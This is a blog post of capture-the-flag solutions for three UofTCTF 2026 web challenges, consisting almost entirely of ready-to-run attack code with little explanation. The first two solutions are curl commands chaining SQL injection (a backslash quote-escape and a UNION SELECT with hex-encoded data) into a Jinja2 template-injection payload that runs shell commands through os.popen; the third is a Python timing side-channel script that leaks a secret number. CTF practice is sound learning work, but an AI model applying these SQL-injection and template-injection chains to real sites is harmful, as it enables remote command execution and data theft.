Web - UofTCTF 2026

2026. 1. 13. 22:59·

No Quotes 


URL='https://no-quotes-2a0e52571125e072.chals.uoftctf.org'

H=$(python3 - <<'PY'
p="{{cycler.__init__.__globals__.os.popen(request.args.c).read()}}"
print(p.encode().hex())
PY
)

# login (UNION trả về 2 cột: id, username)
curl -s -c c.txt -L -X POST "$URL/login" \
  --data-urlencode "username=x\\" \
  --data-urlencode "password=) UNION SELECT 1, CAST(0x$H AS CHAR) # " \
  >/dev/null

curl -s -b c.txt "$URL/home?c=/readflag" | grep -oE 'uoftctf\{[^}]+\}'

No Quotes 2

URL=http://HOST:PORT

curl -s -c cookies.txt -X POST "$URL/login" \
  --data-urlencode "username={{cycler.__init__.__globals__.os.popen(request.args.c).read()}}\\" \
  --data-urlencode "password=) UNION ALL SELECT CAST(0x7b7b6379636c65722e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d5c AS CHAR), REPLACE(CAST(@a:=0x2920554E494F4E20414C4C2053454C454354204341535428307837623762363337393633366336353732326535663566363936653639373435663566326535663566363736633666363236313663373335663566326536663733326537303666373036353665323837323635373137353635373337343265363137323637373332653633323932653732363536313634323832393764376435632041532043484152292C205245504C41434528434153542840613A3D30785F5F4845585F5F2041532043484152292C307835663566343834353538356635662C48455828406129292023 AS CHAR),0x5f5f4845585f5f,HEX(@a)) #" \
  -L >/dev/null

curl -s -b cookies.txt "$URL/home?c=/readflag" | grep -oE 'uoftctf\{[^}]+\}'

No Quotes 3

#!/usr/bin/env python3
import socket, time, sys
from statistics import median

HOST = sys.argv[1] if len(sys.argv) > 1 else "35.231.13.90"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5000

QUOTA = 50
BITS = 100

# Base cố định (1024-bit để payload không quá dài)
BASE = (1 << 1536) + 0x1337

# Các exponent ứng viên (script sẽ tự chọn exp cho unit ~ 0.12..0.35s)
EXP_CANDIDATES = [600, 750, 900, 1100, 1400, 1800]

# Chunk size: 3 bits -> 33 chunk cover bits 0..98, + bit99 riêng
CHUNK_BITS = 3
CHUNKS = 33  # 0..32 => bits 0..98

def recv_until(s: socket.socket, token: bytes) -> bytes:
    data = b""
    while token not in data:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def recv_line(s: socket.socket) -> bytes:
    data = b""
    while True:
        ch = s.recv(1)
        if not ch:
            break
        data += ch
        if ch == b"\n":
            break
    return data

def send_line(s: socket.socket, line: str):
    s.sendall(line.encode() + b"\n")

def ask_expr(s: socket.socket, expr_obj):
    p = recv_until(s, b": ")
    if not p.endswith(b": "):
        return 0.0, b""
    t0 = time.perf_counter()
    send_line(s, repr(expr_obj))
    ans = recv_line(s)  # Yes!/No!/EOF
    dt = time.perf_counter() - t0
    return dt, ans

def parse_yes(ans: bytes) -> int:
    return 1 if b"Yes" in ans else 0

def bit_expr(p: int):
    # (x // 2^p) % 2
    return {"op": "%", "arg1": {"op": "/", "arg1": "x", "arg2": 1 << p}, "arg2": 2}

def chunk_expr(shift_bits: int):
    # (x // 2^shift_bits) % 8
    return {"op": "%", "arg1": {"op": "/", "arg1": "x", "arg2": 1 << shift_bits}, "arg2": 8}

def eq_expr(a, v: int):
    # (a >= v) and (a <= v)  => a == v
    return {
        "op": "and",
        "arg1": {"op": ">=", "arg1": a, "arg2": v},
        "arg2": {"op": "<=", "arg1": a, "arg2": v},
    }

def run_pow_k(k: int, exp: int):
    """
    Chạy pow BASE**exp đúng k lần theo chuỗi and-nested, và trả về 1.
    Không cộng big-int, chỉ ép evaluate thực sự thực hiện pow.
    """
    expr = 1
    pow_node = {"op": "**", "arg1": BASE, "arg2": exp}
    for _ in range(k):
        expr = {"op": "and", "arg1": pow_node, "arg2": expr}
    return expr

def oracle_for_chunk(i: int, exp: int):
    """
    Leak v=(chunk) in [0..7] bằng 8 nhánh:
      if chunk==v -> chạy (v+1) lần pow, trả 1 -> OR short-circuit dừng
    """
    c = chunk_expr(CHUNK_BITS * i)
    branches = []
    for v in range(8):
        cond = eq_expr(c, v)
        body = run_pow_k(v + 1, exp)  # luôn >=1 pow để decode theo t1 + v*unit
        branches.append({"op": "and", "arg1": cond, "arg2": body})

    expr = branches[0]
    for b in branches[1:]:
        expr = {"op": "or", "arg1": expr, "arg2": b}
    return expr

def main():
    used = 0
    x_guess = 0

    with socket.create_connection((HOST, PORT)) as s:
        # ---- dt0 baseline: lấy median 3 lần để giảm jitter ----
        dt0_samples = []
        for _ in range(3):
            dt, ans = ask_expr(s, 0); used += 1
            if ans == b"":
                print("[!] Server closed during baseline.")
                return
            dt0_samples.append(dt)
        dt0 = median(dt0_samples)

        # ---- chọn exponent sao cho 1 pow đủ “nặng” nhưng không quá chậm ----
        chosen_exp = None
        chosen_t1 = None

        # Ta đo t1 = time(run_pow_k(1)) ~ dt0 + pow_time
        # target pow_time khoảng 0.12..0.35s (đủ tách mức, không kill)
        for exp in EXP_CANDIDATES:
            t1s = []
            for _ in range(2):
                dt, ans = ask_expr(s, run_pow_k(1, exp)); used += 1
                if ans == b"":
                    print("[!] Server closed during exp probe. Try smaller EXP list.")
                    return
                t1s.append(dt)
            t1 = median(t1s)
            pow_time = max(0.0, t1 - dt0)
            print(f"[probe] exp={exp:>4} t1≈{t1:.3f}s pow_time≈{pow_time:.3f}s")

            if 0.12 <= pow_time <= 0.35:
                chosen_exp = exp
                chosen_t1 = t1
                break

            # nếu đã quá chậm, dừng và lấy exp hiện tại nhỏ hơn (không tăng nữa)
            if pow_time > 0.60 and chosen_exp is None:
                chosen_exp = exp
                chosen_t1 = t1
                break

        if chosen_exp is None:
            # fallback: lấy exp lớn nhất đã thử
            chosen_exp = EXP_CANDIDATES[-1]
            chosen_t1 = t1

        # ---- đo unit = time(2 pow) - time(1 pow) ----
        t2s = []
        for _ in range(2):
            dt, ans = ask_expr(s, run_pow_k(2, chosen_exp)); used += 1
            if ans == b"":
                print("[!] Server closed during unit calibration.")
                return
            t2s.append(dt)
        t2 = median(t2s)

        unit = max(0.001, t2 - chosen_t1)
        print(f"[i] Chosen EXP={chosen_exp}, dt0≈{dt0:.3f}s, t1≈{chosen_t1:.3f}s, t2≈{t2:.3f}s, unit≈{unit:.3f}s")

        # ---- budget check ----
        # used so far: 3 + (<= 2*len(cands)) + 2  (thường ~3+4+2=9)
        # main queries:
        #   - 33 chunk
        #   - bit99
        #   - top-check
        # => 35
        # total ~ 44, còn ~6 query cho retry/filler
        retry_budget = max(0, QUOTA - (used + CHUNKS + 2 + 1))  # +1 guess prompt not in quota
        # (CHUNKS + bit99 + top-check)
        print(f"[i] Retry budget (chunk re-ask): {retry_budget}")

        # ---- decode chunks ----
        for i in range(CHUNKS):
            expr = oracle_for_chunk(i, chosen_exp)
            dt, ans = ask_expr(s, expr); used += 1
            if ans == b"":
                print(f"[!] Server closed at chunk {i}.")
                return

            # decode v from dt ≈ t1 + v*unit
            v = int(round((dt - chosen_t1) / unit))
            if v < 0: v = 0
            if v > 7: v = 7
            pred = chosen_t1 + v * unit
            resid = abs(dt - pred)

            # retry nếu residual quá lớn (mơ hồ) và còn budget
            # ngưỡng: max(0.45*unit, 0.12s)
            if retry_budget > 0 and resid > max(0.45 * unit, 0.12):
                dt2, ans2 = ask_expr(s, expr); used += 1
                retry_budget -= 1
                if ans2 == b"":
                    print(f"[!] Server closed at chunk {i} retry.")
                    return
                dtm = median([dt, dt2])
                v2 = int(round((dtm - chosen_t1) / unit))
                v2 = 0 if v2 < 0 else (7 if v2 > 7 else v2)
                dt, v = dtm, v2
                pred = chosen_t1 + v * unit
                resid = abs(dt - pred)

            x_guess |= (v << (CHUNK_BITS * i))
            print(f"[chunk {i:02}] dt={dt:.3f}s -> v={v} (resid={resid:.3f}s)")

        # ---- bit99 exact ----
        dt, ans = ask_expr(s, bit_expr(99)); used += 1
        if ans == b"":
            print("[!] Server closed at bit99.")
            return
        b99 = parse_yes(ans)
        if b99:
            x_guess |= (1 << 99)
        else:
            x_guess &= ~(1 << 99)
        print(f"[bit99] {b99}")

        # ---- rare top value x==2^100 ----
        dt, ans = ask_expr(s, {"op": ">=", "arg1": "x", "arg2": 1 << 100}); used += 1
        if ans == b"":
            print("[!] Server closed at top-check.")
            return
        if b"Yes" in ans:
            x_guess = 1 << 100
            print("[top] x == 2^100")

        # ---- fill remaining expressions ----
        while used < QUOTA:
            dt, ans = ask_expr(s, 0); used += 1
            if ans == b"":
                print("[!] Server closed during filler.")
                return

        # ---- guess ----
        p = recv_until(s, b": ")
        if not p.endswith(b": "):
            print("[!] Did not reach guess prompt.")
            return
        send_line(s, str(x_guess))
        out = s.recv(65535)
        print("\n[server output]\n" + out.decode(errors="ignore"))

if __name__ == "__main__":
    main()

'WriteUp > Web' 카테고리의 다른 글

Ramesses - BuckeyeCTF 2025  (0) 2025.11.09
ebg13 - BuckeyeCTF 2025  (0) 2025.11.09
5571  (0) 2025.11.04
Mark The Lyrics  (0) 2025.11.01
Tiny Flag  (0) 2025.11.01
'WriteUp/Web' Other posts in category
  • Ramesses - BuckeyeCTF 2025
  • ebg13 - BuckeyeCTF 2025
  • 5571
  • Mark The Lyrics
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9)
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    CTF
    EnigmaXplore3.0
    picoCTF
    POCCTF2025
    Web
    misc
    CHH
    Steganography
    htb
    THM
    writeup
    Forensics
    BuckeyeCTF2025
    V1tCTF2025
    PTITCTF2025
    SunshineCTF2025
    Dreamhack
    Re
    OSINT
    CSCV2025
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
Web - UofTCTF 2026
Go to Top

티스토리툴바